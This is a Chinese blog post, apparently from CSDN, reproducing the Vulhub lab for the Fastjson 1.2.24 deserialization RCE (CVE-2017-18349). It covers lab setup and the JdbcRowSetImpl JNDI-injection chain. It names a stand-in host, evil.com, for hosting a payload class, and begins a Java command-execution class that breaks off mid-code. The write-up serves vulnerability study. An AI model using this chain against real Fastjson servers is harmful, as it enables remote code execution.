Vulhub:Fastjson[漏洞复现]

1.2.24-rce(CVE-2017-18349-Fastjson反序列化)

对于 Fastjson 来说,该漏洞的主要问题在于其1.2.24版本中autotype特性允许任意类的反序列化,因此攻击者通过@type指定自定义类并实例化,在特定条件下调用这些类的公共方法。如果一个不受信任的 JSON 输入包含了一个指向恶意类的引用,那么当 Fastjson 尝试将其反序列化时,就可能会触发该类的方法,进而导致任意代码执行。

启动靶场漏洞环境

docker-compose up -d

查看靶机IP地址

ifconfig | grep eth0 -A 5

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ifconfig | grep eth0 -A 5
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.138  netmask 255.255.255.0  broadcast 192.168.1.255
        inet6 fe80::d3f0:b854:e38c:9f58  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:ae:ed:8a  txqueuelen 1000  (Ethernet)
        RX packets 12672  bytes 16229000 (15.4 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0

阅读vulhub给出的漏洞文档

# fastjson 1.2.24 反序列化导致任意命令执行漏洞

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

参考资料:

- https://www.freebuf.com/vuls/208339.html
- http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/

## 漏洞环境

运行测试环境:

```
docker compose up -d
```

环境运行后,访问`http://your-ip:8090`即可看到JSON格式的输出。

我们向这个地址POST一个JSON对象,即可更新服务端的信息:

```
curl http://your-ip:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'
```

## 漏洞复现

因为目标环境是Java 8u102,没有`com.sun.jndi.rmi.object.trustURLCodebase`的限制,我们可以使用`com.sun.rowset.JdbcRowSetImpl`的利用链,借助JNDI注入来执行命令。

首先编译并上传命令执行代码,如`http://evil.com/TouchFile.class`:

```java
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
        &n

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

x0da6h

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值